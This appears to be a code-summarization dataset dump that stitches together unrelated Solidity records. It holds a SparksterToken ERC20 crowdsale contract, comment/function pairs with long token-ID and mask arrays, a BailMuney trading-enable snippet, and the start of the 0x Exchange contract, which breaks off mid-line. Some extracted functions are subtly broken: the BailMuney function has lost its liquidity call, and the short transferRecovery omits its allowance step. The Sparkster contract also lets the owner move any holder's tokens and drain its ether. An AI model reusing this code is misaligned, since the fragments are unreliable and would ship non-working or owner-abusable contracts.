function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract SparksterToken is StandardToken, Ownable{
using SafeMath for uint256;
struct Member {
mapping(uint256 => uint256) weiBalance; // How much wei has this member contributed for this group?
}
struct Group {
bool distributed; // Whether or not tokens in this group have been distributed.
bool distributing; // This flag is set when we first enter the distribute function and is there to prevent race conditions, since distribution might take a long time.
bool unlocked; // Whether or not tokens in this group have been unlocked.
uint256 ratio; // 1 eth:ratio tokens. This amount represents the decimal amount. ratio*10**decimal = ratio sparks.
uint256 startTime; // Epoch of crowdsale start time.
uint256 phase1endTime; // Epoch of phase1 end time.
uint256 phase2endTime; // Epoch of phase2 end time.
uint256 deadline; // No contributions allowed after this epoch.
uint256 max2; // cap of phase2
uint256 max3; // Total ether this group can collect in phase 3.
uint256 weiTotal; // How much ether has this group collected?
uint256 cap; // The hard ether cap.
}
address oracleAddress;
bool public transferLock = true; // A Global transfer lock. Set to lock down all tokens from all groups.
bool public allowedToBuyBack = false;
bool public allowedToPurchase = false;
string public name; // name for display
string public symbol; //An identifier
uint8 public decimals; //How many decimals to show.
uint256 public penalty;
uint256 public maxGasPrice; // The maximum allowed gas for the purchase function.
uint256 internal nextGroupNumber;
uint256 public sellPrice; // sellPrice wei:1 spark token; we won't allow to sell back parts of a token.
mapping(address => Member) internal members;
mapping(uint256 => Group) internal groups;
uint256 public openGroupNumber;
event WantsToPurchase(address walletAddress, uint256 weiAmount, uint256 groupNumber, bool inPhase1);
event PurchasedCallbackOnAccept(uint256 groupNumber, address[] addresses);
event WantsToDistribute(uint256 groupNumber);
event NearingHardCap(uint256 groupNumber, uint256 remainder);
event ReachedHardCap(uint256 groupNumber);
event DistributeDone(uint256 groupNumber);
event DistributedBatch(uint256 groupNumber, address[] addresses);
event AirdroppedBatch(address[] addresses);
event RefundedBatch(address[] addresses);
event AddToGroup(address walletAddress, uint256 groupNumber);
event ChangedTransferLock(bool transferLock);
event ChangedAllowedToPurchase(bool allowedToPurchase);
event ChangedAllowedToBuyBack(bool allowedToBuyBack);
event SetSellPrice(uint256 sellPrice);
modifier onlyOwnerOrOracle() {
require(msg.sender == owner || msg.sender == oracleAddress);
_;
}
// Fix for the ERC20 short address attack http://vessenes.com/the-erc20-short-address-attack-explained/
modifier onlyPayloadSize(uint size) {
require(msg.data.length == size + 4);
_;
}
modifier canTransfer() {
if (msg.sender != owner) {
require(!transferLock);
}
_;
}
modifier canPurchase() {
require(allowedToPurchase);
_;
}
modifier canSell() {
require(allowedToBuyBack);
_;
}
function() public payable {
purchase();
}
constructor() public {
name = "Sparkster"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "SPRK"; // Set the symbol for display purposes
setMaximumGasPrice(40);
mintTokens(435000000);
}
function setOracleAddress(address newAddress) public onlyOwner returns(bool success) {
oracleAddress = newAddress;
return true;
}
function removeOracleAddress() public onlyOwner {
oracleAddress = address(0);
}
function setMaximumGasPrice(uint256 gweiPrice) public onlyOwner returns(bool success) {
maxGasPrice = gweiPrice.mul(10**9); // Convert the gwei value to wei.
return true;
}
function mintTokens(uint256 amount) public onlyOwner {
// Here, we'll consider amount to be the full token amount, so we have to get its decimal value.
uint256 decimalAmount = amount.mul(uint(10)**decimals);
totalSupply_ = totalSupply_.add(decimalAmount);
balances[msg.sender] = balances[msg.sender].add(decimalAmount);
emit Transfer(address(0), msg.sender, decimalAmount); // Per erc20 standards-compliance.
}
function purchase() public canPurchase payable returns(bool success) {
require(msg.sender != address(0)); // Don't allow the 0 address.
Member storage memberRecord = members[msg.sender];
Group storage openGroup = groups[openGroupNumber];
require(openGroup.ratio > 0); // Group must be initialized.
uint256 currentTimestamp = block.timestamp;
require(currentTimestamp >= openGroup.startTime && currentTimestamp <= openGroup.deadline); //the timestamp must be greater than or equal to the start time and less than or equal to the deadline time
require(!openGroup.distributing && !openGroup.distributed); // Don't allow to purchase if we're in the middle of distributing this group; Don't let someone buy tokens on the current group if that group is already distributed.
require(tx.gasprice <= maxGasPrice); // Restrict maximum gas this transaction is allowed to consume.
uint256 weiAmount = msg.value; // The amount purchased by the current member
require(weiAmount >= 0.1 ether);
uint256 weiTotal = openGroup.weiTotal.add(weiAmount); // Calculate total contribution of all members in this group.
require(weiTotal <= openGroup.cap); // Check to see if accepting these funds will put us above the hard ether cap.
uint256 userWeiTotal = memberRecord.weiBalance[openGroupNumber].add(weiAmount); // Calculate the total amount purchased by the current member
if(currentTimestamp <= openGroup.phase1endTime){ // whether the current timestamp is in the first phase
emit WantsToPurchase(msg.sender, weiAmount, openGroupNumber, true);
return true;
} else if (currentTimestamp <= openGroup.phase2endTime) { // Are we in phase 2?
require(userWeiTotal <= openGroup.max2); // Allow to contribute no more than max2 in phase 2.
emit WantsToPurchase(msg.sender, weiAmount, openGroupNumber, false);
return true;
} else { // We've passed both phases 1 and 2.
require(userWeiTotal <= openGroup.max3); // Don't allow to contribute more than max3 in phase 3.
emit WantsToPurchase(msg.sender, weiAmount, openGroupNumber, false);
return true;
}
}
function purchaseCallbackOnAccept(uint256 groupNumber, address[] addresses, uint256[] weiAmounts) public onlyOwnerOrOracle returns(bool success) {
uint256 n = addresses.length;
require(n == weiAmounts.length, "Array lengths mismatch");
Group storage theGroup = groups[groupNumber];
uint256 weiTotal = theGroup.weiTotal;
for (uint256 i = 0; i < n; i++) {
Member storage memberRecord = members[addresses[i]];
uint256 weiAmount = weiAmounts[i];
weiTotal = weiTotal.add(weiAmount); // Calculate the total amount purchased by all members in this group.
memberRecord.weiBalance[groupNumber] = memberRecord.weiBalance[groupNumber].add(weiAmount); // Record the total amount purchased by the current member
}
theGroup.weiTotal = weiTotal;
if (getHowMuchUntilHardCap_(groupNumber) <= 100 ether) {
emit NearingHardCap(groupNumber, getHowMuchUntilHardCap_(groupNumber));
if (weiTotal >= theGroup.cap) {
emit ReachedHardCap(groupNumber);
}
}
emit PurchasedCallbackOnAccept(groupNumber, addresses);
return true;
}
function purchaseCallbackOnAcceptAndDistribute(uint256 groupNumber, address[] addresses, uint256[] weiAmounts) public onlyOwnerOrOracle returns(bool success) {
uint256 n = addresses.length;
require(n == weiAmounts.length, "Array lengths mismatch");
Group storage theGroup = groups[groupNumber];
if (!theGroup.distributing) {
theGroup.distributing = true;
}
uint256 newOwnerSupply = balances[owner];
for (uint256 i = 0; i < n; i++) {
address theAddress = addresses[i];
Member storage memberRecord = members[theAddress];
uint256 weiAmount = weiAmounts[i];
memberRecord.weiBalance[groupNumber] = memberRecord.weiBalance[groupNumber].add(weiAmount); // Record the total amount purchased by the current member
uint256 balance = getUndistributedBalanceOf_(theAddress, groupNumber);
if (balance > 0) { // No need to waste ticks if they have no tokens to distribute
balances[theAddress] = balances[theAddress].add(balance);
newOwnerSupply = newOwnerSupply.sub(balance); // Update the available number of tokens.
emit Transfer(owner, theAddress, balance); // Notify exchanges of the distribution.
}
}
balances[owner] = newOwnerSupply;
emit PurchasedCallbackOnAccept(groupNumber, addresses);
return true;
}
function refund(address[] addresses, uint256[] weiAmounts) public onlyOwnerOrOracle returns(bool success) {
uint256 n = addresses.length;
require (n == weiAmounts.length, "Array lengths mismatch");
uint256 thePenalty = penalty;
for(uint256 i = 0; i < n; i++) {
uint256 weiAmount = weiAmounts[i];
address theAddress = addresses[i];
if (thePenalty <= weiAmount) {
weiAmount = weiAmount.sub(thePenalty);
require(address(this).balance >= weiAmount);
theAddress.transfer(weiAmount);
}
}
emit RefundedBatch(addresses);
return true;
}
function signalDoneDistributing(uint256 groupNumber) public onlyOwnerOrOracle {
Group storage theGroup = groups[groupNumber];
theGroup.distributed = true;
theGroup.distributing = false;
emit DistributeDone(groupNumber);
}
function drain() public onlyOwner {
owner.transfer(address(this).balance);
}
function setPenalty(uint256 newPenalty) public onlyOwner returns(bool success) {
penalty = newPenalty;
return true;
}
function buyback(uint256 amount) public canSell { // Can't sell unless owner has allowed it.
uint256 decimalAmount = amount.mul(uint(10)**decimals); // convert the full token value to the smallest unit possible.
require(balances[msg.sender].sub(decimalAmount) >= getLockedTokens_(msg.sender)); // Don't allow to sell locked tokens.
balances[msg.sender] = balances[msg.sender].sub(decimalAmount); // Do this before transferring to avoid re-entrance attacks; will throw if result < 0.
// Amount is considered to be how many full tokens the user wants to sell.
uint256 totalCost = amount.mul(sellPrice); // sellPrice is the per-full-token value.
require(address(this).balance >= totalCost); // The contract must have enough funds to cover the selling.
balances[owner] = balances[owner].add(decimalAmount); // Put these tokens back into the available pile.
msg.sender.transfer(totalCost); // Pay the seller for their tokens.
emit Transfer(msg.sender, owner, decimalAmount); // Notify exchanges of the sell.
}
function fundContract() public onlyOwnerOrOracle payable { // For the owner to put funds into the contract.
}
function setSellPrice(uint256 thePrice) public onlyOwner {
sellPrice = thePrice;
}
function setAllowedToBuyBack(bool value) public onlyOwner {
allowedToBuyBack = value;
emit ChangedAllowedToBuyBack(value);
}
function setAllowedToPurchase(bool value) public onlyOwner {
allowedToPurchase = value;
emit ChangedAllowedToPurchase(value);
}
function createGroup(uint256 startEpoch, uint256 phase1endEpoch, uint256 phase2endEpoch, uint256 deadlineEpoch, uint256 phase2weiCap, uint256 phase3weiCap, uint256 hardWeiCap, uint256 ratio) public onlyOwner returns (bool success, uint256 createdGroupNumber) {
createdGroupNumber = nextGroupNumber;
Group storage theGroup = groups[createdGroupNumber];
theGroup.startTime = startEpoch;
theGroup.phase1endTime = phase1endEpoch;
theGroup.phase2endTime = phase2endEpoch;
theGroup.deadline = deadlineEpoch;
theGroup.max2 = phase2weiCap;
theGroup.max3 = phase3weiCap;
theGroup.cap = hardWeiCap;
theGroup.ratio = ratio;
nextGroupNumber++;
success = true;
}
function createGroup() public onlyOwner returns (bool success, uint256 createdGroupNumber) {
return createGroup(0, 0, 0, 0, 0, 0, 0, 0);
}
function getGroup(uint256 groupNumber) public view returns(bool distributed, bool distributing, bool unlocked, uint256 phase2cap, uint256 phase3cap, uint256 cap, uint256 ratio, uint256 startTime, uint256 phase1endTime, uint256 phase2endTime, uint256 deadline, uint256 weiTotal) {
require(groupNumber < nextGroupNumber);
Group storage theGroup = groups[groupNumber];
distributed = theGroup.distributed;
distributing = theGroup.distributing;
unlocked = theGroup.unlocked;
phase2cap = theGroup.max2;
phase3cap = theGroup.max3;
cap = theGroup.cap;
ratio = theGroup.ratio;
startTime = theGroup.startTime;
phase1endTime = theGroup.phase1endTime;
phase2endTime = theGroup.phase2endTime;
deadline = theGroup.deadline;
weiTotal = theGroup.weiTotal;
}
function getHowMuchUntilHardCap_(uint256 groupNumber) internal view returns(uint256 remainder) {
Group storage theGroup = groups[groupNumber];
if (theGroup.weiTotal > theGroup.cap) { // calling .sub in this situation will throw.
return 0;
}
return theGroup.cap.sub(theGroup.weiTotal);
}
function getHowMuchUntilHardCap() public view returns(uint256 remainder) {
return getHowMuchUntilHardCap_(openGroupNumber);
}
function addMemberToGroup(address walletAddress, uint256 groupNumber) public onlyOwner returns(bool success) {
emit AddToGroup(walletAddress, groupNumber);
return true;
}
function instructOracleToDistribute(uint256 groupNumber) public onlyOwner {
Group storage theGroup = groups[groupNumber];
require(groupNumber < nextGroupNumber && !theGroup.distributed); // can't have already distributed
emit WantsToDistribute(groupNumber);
}
function distributeCallback(uint256 groupNumber, address[] addresses) public onlyOwnerOrOracle returns (bool success) {
Group storage theGroup = groups[groupNumber];
if (!theGroup.distributing) {
theGroup.distributing = true;
}
uint256 n = addresses.length;
uint256 newOwnerBalance = balances[owner];
for (uint256 i = 0; i < n; i++) {
address memberAddress = addresses[i];
uint256 balance = getUndistributedBalanceOf_(memberAddress, groupNumber);
if (balance > 0) { // No need to waste ticks if they have no tokens to distribute
balances[memberAddress] = balances[memberAddress].add(balance);
newOwnerBalance = newOwnerBalance.sub(balance); // Deduct from owner.
emit Transfer(owner, memberAddress, balance); // Notify exchanges of the distribution.
}
}
balances[owner] = newOwnerBalance;
emit DistributedBatch(groupNumber, addresses);
return true;
}
function unlock(uint256 groupNumber) public onlyOwner returns (bool success) {
Group storage theGroup = groups[groupNumber];
require(theGroup.distributed); // Distribution must have occurred first.
theGroup.unlocked = true;
return true;
}
function setGlobalLock(bool value) public onlyOwner {
transferLock = value;
emit ChangedTransferLock(transferLock);
}
function burn(uint256 amount) public onlyOwner {
// Burns tokens from the owner's supply and doesn't touch allocated tokens.
// Decrease totalSupply and leftOver by the amount to burn so we can decrease the circulation.
balances[msg.sender] = balances[msg.sender].sub(amount); // Will throw if result < 0
totalSupply_ = totalSupply_.sub(amount); // Will throw if result < 0
emit Transfer(msg.sender, address(0), amount);
}
function splitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) {
// SplitFactor is the multiplier per decimal of spark. splitFactor * 10**decimals = splitFactor sparks
uint256 ownerBalance = balances[msg.sender];
uint256 multiplier = ownerBalance.mul(splitFactor);
uint256 increaseSupplyBy = multiplier.sub(ownerBalance); // We need to mint owner*splitFactor - owner additional tokens.
balances[msg.sender] = multiplier;
totalSupply_ = totalSupply_.mul(splitFactor);
emit Transfer(address(0), msg.sender, increaseSupplyBy); // Notify exchange that we've minted tokens.
// Next, increase group ratios by splitFactor, so users will receive ratio * splitFactor tokens per ether.
uint256 n = nextGroupNumber;
require(n > 0); // Must have at least one group.
for (uint256 i = 0; i < n; i++) {
Group storage currentGroup = groups[i];
currentGroup.ratio = currentGroup.ratio.mul(splitFactor);
}
return true;
}
function reverseSplitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) {
// SplitFactor is the multiplier per decimal of spark. splitFactor * 10**decimals = splitFactor sparks
uint256 ownerBalance = balances[msg.sender];
uint256 divier = ownerBalance.div(splitFactor);
uint256 decreaseSupplyBy = ownerBalance.sub(divier);
// We don't use burnTokens here since the amount to subtract might be more than what the owner currently holds in their unallocated supply which will cause the function to throw.
totalSupply_ = totalSupply_.div(splitFactor);
balances[msg.sender] = divier;
// Notify the exchanges of how many tokens were burned.
emit Transfer(msg.sender, address(0), decreaseSupplyBy);
// Next, decrease group ratios by splitFactor, so users will receive ratio / splitFactor tokens per ether.
uint256 n = nextGroupNumber;
require(n > 0); // Must have at least one group. Groups are 0-indexed.
for (uint256 i = 0; i < n; i++) {
Group storage currentGroup = groups[i];
currentGroup.ratio = currentGroup.ratio.div(splitFactor);
}
return true;
}
function airdrop( address[] addresses, uint256[] tokenDecimalAmounts) public onlyOwnerOrOracle returns (bool success) {
uint256 n = addresses.length;
require(n == tokenDecimalAmounts.length, "Array lengths mismatch");
uint256 newOwnerBalance = balances[owner];
for (uint256 i = 0; i < n; i++) {
address theAddress = addresses[i];
uint256 airdropAmount = tokenDecimalAmounts[i];
if (airdropAmount > 0) {
uint256 currentBalance = balances[theAddress];
balances[theAddress] = currentBalance.add(airdropAmount);
newOwnerBalance = newOwnerBalance.sub(airdropAmount);
emit Transfer(owner, theAddress, airdropAmount);
}
}
balances[owner] = newOwnerBalance;
emit AirdroppedBatch(addresses);
return true;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) canTransfer returns (bool success) {
// If the transferrer has purchased tokens, they must be unlocked before they can be used.
if (msg.sender != owner) { // Owner can transfer anything to anyone.
require(balances[msg.sender].sub(_value) >= getLockedTokens_(msg.sender));
}
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) canTransfer returns (bool success) {
// If the transferrer has purchased tokens, they must be unlocked before they can be used.
if (msg.sender != owner) { // Owner not affected by locked tokens
require(balances[_from].sub(_value) >= getLockedTokens_(_from));
}
return super.transferFrom(_from, _to, _value);
}
function setOpenGroup(uint256 groupNumber) public onlyOwner returns (bool success) {
require(groupNumber < nextGroupNumber);
openGroupNumber = groupNumber;
return true;
}
function getLockedTokensInGroup_(address walletAddress, uint256 groupNumber) internal view returns (uint256 balance) {
Member storage theMember = members[walletAddress];
if (groups[groupNumber].unlocked) {
return 0;
}
return theMember.weiBalance[groupNumber].mul(groups[groupNumber].ratio);
}
function getLockedTokens_(address walletAddress) internal view returns(uint256 balance) {
uint256 n = nextGroupNumber;
for (uint256 i = 0; i < n; i++) {
balance = balance.add(getLockedTokensInGroup_(walletAddress, i));
}
return balance;
}
function getLockedTokens(address walletAddress) public view returns(uint256 balance) {
return getLockedTokens_(walletAddress);
}
function getUndistributedBalanceOf_(address walletAddress, uint256 groupNumber) internal view returns (uint256 balance) {
Member storage theMember = members[walletAddress];
Group storage theGroup = groups[groupNumber];
if (theGroup.distributed) {
return 0;
}
return theMember.weiBalance[groupNumber].mul(theGroup.ratio);
}
function getUndistributedBalanceOf(address walletAddress, uint256 groupNumber) public view returns (uint256 balance) {
return getUndistributedBalanceOf_(walletAddress, groupNumber);
}
function checkMyUndistributedBalance(uint256 groupNumber) public view returns (uint256 balance) {
return getUndistributedBalanceOf_(msg.sender, groupNumber);
}
function transferRecovery(address _from, address _to, uint256 _value) public onlyOwner returns (bool success) {
// Will be used if someone sends tokens to an incorrect address by accident. This way, we have the ability to recover the tokens. For example, sometimes there's a problem of lost tokens if someone sends tokens to a contract address that can't utilize the tokens.
allowed[_from][msg.sender] = allowed[_from][msg.sender].add(_value); // Authorize the owner to spend on someone's behalf.
return transferFrom(_from, _to, _value);
}
} | Will be used if someone sends tokens to an incorrect address by accident. This way, we have the ability to recover the tokens. For example, sometimes there's a problem of lost tokens if someone sends tokens to a contract address that can't utilize the tokens. | function transferRecovery(address _from, address _to, uint256 _value) public onlyOwner returns (bool success) {
return transferFrom(_from, _to, _value);
}
| 6,503,221 | [
1,
13670,
506,
1399,
309,
18626,
9573,
2430,
358,
392,
11332,
1758,
635,
25961,
18,
1220,
4031,
16,
732,
1240,
326,
7123,
358,
5910,
326,
2430,
18,
2457,
3454,
16,
16594,
1915,
10,
5520,
31,
87,
279,
6199,
434,
13557,
2430,
309,
18626,
9573,
2430,
358,
279,
6835,
1758,
716,
848,
10,
5520,
31,
88,
1709,
554,
326,
2430,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
7412,
11548,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1338,
5541,
1135,
261,
6430,
2216,
13,
288,
203,
202,
202,
2463,
7412,
1265,
24899,
2080,
16,
389,
869,
16,
389,
1132,
1769,
203,
202,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xCFFEbe2381327AE285E4FD55d042dE8c09d91050/sources/src/BailMuney/BailMuney.sol | once enabled, can never be turned off setup the approvals add the liquidity set the params and emit | function enableTrading() external payable onlyOwner {
require(!tradingActive, "Trading is already enabled, cannot relaunch.");
require(msg.value > 0, "Send liquidity eth");
require(liquidityTokens > 0, "No tokens!");
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
IERC20Metadata weth = IERC20Metadata(uniswapV2Router.WETH());
weth.approve(address(uniswapV2Router), type(uint256).max);
_approve(address(this), address(uniswapV2Router), type(uint256).max);
address(this),
liquidityTokens,
0,
0,
owner(),
block.timestamp
);
tradingActive = true;
swapEnabled = true;
emit TradingEnabled(uniswapV2Pair, msg.value, liquidityTokens, block.timestamp);
}
| 16,548,526 | [
1,
8243,
3696,
16,
848,
5903,
506,
21826,
3397,
3875,
326,
6617,
4524,
527,
326,
4501,
372,
24237,
444,
326,
859,
471,
3626,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
915,
4237,
1609,
7459,
1435,
3903,
8843,
429,
1338,
5541,
288,
203,
202,
202,
6528,
12,
5,
313,
14968,
3896,
16,
315,
1609,
7459,
353,
1818,
3696,
16,
2780,
1279,
4760,
1199,
1769,
203,
202,
202,
6528,
12,
3576,
18,
1132,
405,
374,
16,
315,
3826,
4501,
372,
24237,
13750,
8863,
203,
202,
202,
6528,
12,
549,
372,
24237,
5157,
405,
374,
16,
315,
2279,
2430,
4442,
1769,
203,
203,
202,
202,
318,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
12,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
1435,
2934,
2640,
4154,
12,
2867,
12,
2211,
3631,
640,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
202,
202,
10157,
1265,
2747,
3342,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
202,
202,
67,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
203,
202,
202,
45,
654,
39,
3462,
2277,
341,
546,
273,
467,
654,
39,
3462,
2277,
12,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
202,
202,
91,
546,
18,
12908,
537,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
8259,
3631,
618,
12,
11890,
5034,
2934,
1896,
1769,
203,
202,
202,
67,
12908,
537,
12,
2867,
12,
2211,
3631,
1758,
12,
318,
291,
91,
438,
58,
22,
8259,
3631,
618,
12,
11890,
5034,
2934,
1896,
1769,
203,
1082,
202,
2867,
12,
2211,
2
]
|
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibEIP712ExchangeDomain.sol";
import "./MixinMatchOrders.sol";
import "./MixinWrapperFunctions.sol";
import "./MixinTransferSimulator.sol";
// solhint-disable no-empty-blocks
// MixinAssetProxyDispatcher, MixinExchangeCore, MixinSignatureValidator,
// and MixinTransactions are all inherited via the other Mixins that are
// used.
contract Exchange is
LibEIP712ExchangeDomain,
MixinMatchOrders,
MixinWrapperFunctions,
MixinTransferSimulator
{
/// @dev Mixins are instantiated in the order they are inherited
/// @param chainId Chain ID of the network this contract is deployed on.
constructor (uint256 chainId)
public
LibEIP712ExchangeDomain(chainId, address(0))
{}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "@0x/contracts-utils/contracts/src/LibEIP712.sol";
contract LibEIP712ExchangeDomain {
// EIP712 Exchange Domain Name value
string constant internal _EIP712_EXCHANGE_DOMAIN_NAME = "0x Protocol";
// EIP712 Exchange Domain Version value
string constant internal _EIP712_EXCHANGE_DOMAIN_VERSION = "3.0.0";
// Hash of the EIP712 Domain Separator data
// solhint-disable-next-line var-name-mixedcase
bytes32 public EIP712_EXCHANGE_DOMAIN_HASH;
/// @param chainId Chain ID of the network this contract is deployed on.
/// @param verifyingContractAddressIfExists Address of the verifying contract (null if the address of this contract)
constructor (
uint256 chainId,
address verifyingContractAddressIfExists
)
public
{
address verifyingContractAddress = verifyingContractAddressIfExists == address(0) ? address(this) : verifyingContractAddressIfExists;
EIP712_EXCHANGE_DOMAIN_HASH = LibEIP712.hashEIP712Domain(
